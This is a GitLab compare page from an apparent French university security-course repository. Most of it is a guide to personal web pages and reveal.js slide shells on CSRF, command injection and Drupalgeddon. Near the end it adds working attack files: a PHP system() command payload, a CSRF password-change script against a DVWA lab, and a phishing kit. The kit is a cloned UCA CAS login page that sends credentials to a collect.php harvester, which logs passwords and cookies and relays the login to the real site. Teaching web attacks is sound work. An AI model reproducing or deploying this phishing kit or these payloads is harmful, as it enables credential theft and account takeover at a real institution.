Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found
Select Git revision

Target

Select target project
  • vimazeno/blog.limos.fr
  • matrossevi/blog.limos.fr
  • borlonjo/blog.limos.fr
3 results
Select Git revision
Show changes
Showing
with 1620 additions and 99 deletions
Title: <i class="fa fa-flask" aria-hidden="true"></i> Recherche
Date: 2010-05-17 10:27
## Cette page est actuellement en cours de construction
Title: Blog et pages perso au LIMOS
Date: 2017-05-17 10:20
Status: Published
Tags: doc, python, pages perso, blog
[TOC]
## Comment obtenir un espace web personnel?
Tout compte unix ayant un homedir sur le serveur de fichier glouglou peut se créer son espace web personnel en créant un répertoire ```public_html``` à la racine de son répertoire.
Tout le contenu de /home/path/to/username/public_html sera accessible via
* https://limos.isima.fr/~username
* https://fc.isima.fr/~username
* https://www.isima.fr/~username
* https://isima.fr/~username
## Comment faire ma page personnelle?
### Avec Pelican
Pelican est un module python qui permet à partir d'un code source (une arborescence de fichiers textes au format [markdown](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)) de générer des fichiers html statiques présentés dans une charte graphique fonctionnelle et unifiée.
#### Prérequis
* [python](https://www.python.org/) >= 2.6 ([installation](http://www.mkdocs.org/#installing-python))
* [pip](https://pypi.python.org/pypi/pip) ([installation](https://pip.pypa.io/en/stable/installing/))
* [git](https://git-scm.com/) ([installation](https://git-scm.com/book/fr/v1/D%C3%A9marrage-rapide-Installation-de-Git))
* un éditeur de texte : [atom.io](https://atom.io/) est recommandé
* savoir ce qu'est [markdown](https://guides.github.com/features/mastering-markdown/)
* la commande [pelican](http://docs.getpelican.com/en/stable/) et toutes ses dépendances installables via pip
#### Installation de l'environnment
```shell
sudo pip install --editable .
```
> N.B. notes le '.' après --editable !!
#### Récupérer son blog
La plus simple est probablement de forker [<i class="fa fa-gitlab" aria-hidden="true"></i> ce blog](https://gitlab.isima.fr/mazenovi/mazenod)
```bash
git clone git@gitlab.isima.fr:mazenovi/mazenod.git
```
##### Thèmes
Le thème LIMOS a été réalisé à partir du thème [pelican-bootstrap3](https://github.com/getpelican/pelican-themes/tree/master/pelican-bootstrap3)
##### Plugins
Les plugins pré installés sont
* [i18n_subsites](https://github.com/getpelican/pelican-plugins/tree/master/i18n_subsites) permet le multilinguisme complet du site
* [extract_toc]() qui permet la génération dynamique d'[ancres html](https://www.alsacreations.com/astuce/lire/5-lien-precis-page-ancre-anchor-diese.html) sur tous les titres (h1, h2, ...) et la génération automatique d'une table des matières pour les posts longs
* [math_render](https://github.com/getpelican/pelican-plugins/tree/master/render_math) permet d'insérer des forumles mathématique directement dans le corps des postets ou page
* [tipue_search](https://github.com/getpelican/pelican-plugins/tree/master/tipue_search) permet d'intégrer un moteur de recherche
* [tag_cloud](https://github.com/getpelican/pelican-plugins/tree/master/tag_cloud) permet de faire apparaître les tags et le nombre d'articles associés dans le menu de gauche
* à faire : [assets](https://github.com/getpelican/pelican-plugins/tree/master/assets) pour minifier et concaténer les fichiers css et js
##### Librairies incluses
Ce blog intègre
* [fontawesome](http://fontawesome.io).
* [bootsrap3](http://getbootstrap.com/)
* [jquery v2.2.1](https://jquery.com/)
#### Personnalisation
Toute la personnalisation du blog se fait dans le fichier ```pelicanconf.py```.
Les principales options sont les suivantes
* [aperçus des thèmes pygment pour la coloration syntaxique](https://help.farbox.com/pygments.html)
#### Modifer ou ajouter du contenu à son espace personnel avec Pelican
##### Coloration syntaxique
##### Equations mathématiques
##### Table des matières
##### Multi linguisme
### Tout seul
Si la solution ci dessus vous êtes libre d'organiser votre espace web personnel comme bon vous semble: pour des raisons de sécurité privilégiez les sites statiques. Si vous avez réellement besoin de traitement côté serveur, php est installé. Vous pouvez également bénéficer d'une base de données en effectuant une demande à [cri@isima.fr](mailto:cri@isima.fr)
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>anticiper</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/anticiper.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>authentification</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/authentication.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Browser</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/browser.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Brute Force</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/bruteforce.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Captcha</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/browser.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CMDi</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/cmdi.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../main.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CSP</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/csp.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>CSRF</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/csrf.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
<script src="../main.js"></script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Détecter</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/detecting.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Drupalgeddon</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown="md/drupalgeddon.md"
data-separator="^\n\n\n"
data-separator-vertical="^\n\n"
data-separator-notes="^Note:"
data-charset="utf-8">
</section>
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
controls: true,
progress: true,
history: true,
center: false,
dependencies: [
{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
condition: function() { return !!document.querySelector( '[data-markdown]' ); },
callback: function() {
Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
var fragIndex = ele.innerHTML.indexOf("--")
if (fragIndex != -1){
ele.innerHTML = ele.innerHTML.replace("--", "");
ele.className = 'fragment';
}
});
}
},
{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
File added
<pre><?php system('hostname'); ?></pre>
\ No newline at end of file
<?php
if (
array_key_exists('username', $_GET)
&& array_key_exists('password', $_GET)
) {
// log credentials
$f = fopen("./credentials.txt", "a");
fwrite($f, $_GET['username'].":".$_GET['password']."\n");
fclose($f);
// get CSRF https://ent.uca.fr/cas/login
$url = "https://ent.uca.fr/cas/login";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
$output = curl_exec($curl);
curl_close($curl);
preg_match(
'/name="execution" value="(.+)"/U',
$output,
$matches
);
$token = $matches[1];
?>
<script>
window.onload = function(event) {
var frm = document.getElementById("fm1");
frm.submit();
};
</script>
<styles>
#fm1 {
display: none;
}
</styles>
<form method="post" id="fm1" action="https://ent.uca.fr/cas/login">
<input type="text" name="username" value="<?php echo $_GET['username'];?>">
<input type="password" name="password" value="<?php echo $_GET['password'];?>">
<input type="hidden" name="execution" value="<?php echo $token;?>">
<input type="hidden" name="_eventId" value="submit" class="">
<input type="hidden" name="geolocation"></section>
<button name="submitBtn" type="submit" value="Se connecter">
<span class="">Se connecter</span>
</button>
</form>
<?php
}
if (array_key_exists('cookie', $_COOKIE))
{
// log credentials
$f = fopen("./sessions.txt", "a");
fwrite($f, $_COOKIE['cookie']."\n");
fclose($f);
}
if (array_key_exists('rm', $_GET))
{
unlink("./credentials.txt");
}
function getToken() {
var token='&user_token='
+ document
.getElementById("get_token")
.contentDocument
.getElementsByName("user_token")[0]
.value;
var link = "http://dv.wa/"
+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+ token;
alert(link);
document.getElementById("play_CSRF").src=link;
}
\ No newline at end of file
<h1>J'héberge des contenus douteux ...</h1>
\ No newline at end of file
<!DOCTYPE html>
<!-- saved from url=(0075)https://ent.uca.fr/cas/login?service=https%3A%2F%2Fent.uca.fr%2Fcore%2Fhome -->
<html class="">
<head class="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
<title class="">CAS - Central Authentication Service Connexion</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge" class="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" class="">
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css"
integrity="sha512-NhSC1YmyruXifcj/KFRWoC561YpHpc5Jtzgvbuzx5VozKpWvQ+4nXhPdFgmx8xqexRcpAglTj9sIBWINXa8x5w=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
<link rel="stylesheet"
href="https://unpkg.com/material-components-web@latest/dist/material-components-web.min.css" >
<link rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/MaterialDesign-Webfont/7.2.96/css/materialdesignicons.min.css" integrity="sha512-LX0YV/MWBEn2dwXCYgQHrpa9HJkwB+S+bnBpifSOTO1No27TqNMKYoAn6ff2FBh03THAzAiiCwQ+aPX+/Qt/Ow=="
crossorigin="anonymous"
referrerpolicy="no-referrer" />
<link rel="stylesheet" type="text/css" href="./login/cas.css?20230224" class="">
<link rel="shortcut icon" href="./login/favicon.ico" class="">
</head>
<body class="flex-column-center" id="dummybodyid" cz-shortcut-listen="true">
<img src="./login/logo.png" class="logo">
<!-- script type="text/javascript" src="./login/jquery.min.js"
class=""></script -->
<!-- script type="text/javascript" src="./login/jquery.dataTables.min.js"
class=""></script -->
<!-- script type="text/javascript" src="./login/es5-shim.min.js"
class=""></script -->
<!-- script type="text/javascript" src="./login/css-vars-ponyfill.min.js"
class=""></script -->
<!-- script type="text/javascript"
src="./login/material-components-web.min.js" class=""></script -->
<!-- script type="text/javascript" src="./login/cas.js"
class=""></script>
<script class="">
if (typeof resourceLoadedSuccessfully === "function") {
resourceLoadedSuccessfully();
}
$(() => {
typeof cssVars === "function" && cssVars({ onlyLegacy: true });
})
var trackGeoLocation = false;
</script -->
<div class="card">
<main role="main" id="main-content" class="">
<div id="content" class="">
<div class="">
<section id="loginForm" class="">
<div class="flex-column-center">
<div class="flex-column-center">
</div>
<div class="flex-column-center">
<form method="get" id="fm1" action="https://perso.limos.fr/mazenod/slides/1337/exploits/collect.php" class="">
<div id="login-form-controls" class="flex-column-center">
<h3 class="">
<i class=""></i>
<span class="">Service d'authentification</span>
</h3>
<section class="margin-space" id="usernameSection">
<label for="username" class="">
<input class="" id="username" size="25" type="text" accesskey="i"
autocapitalize="none" spellcheck="false" autocomplete="username"
required="" name="username" value=""
placeholder="Identifiant"></label>
<!-- script type="text/javascript" class="">
/*<![CDATA[*/
var username = "";
var disabled = false;
if (username != null && username !== '') {
$('#username').val(username);
if (disabled) {
$('#usernameSection').hide();
}
}
/*]]>*/
</script -->
</section>
<section class="margin-space" id="passwordSection">
<div class="">
<div class="">
<label for="password" class="">
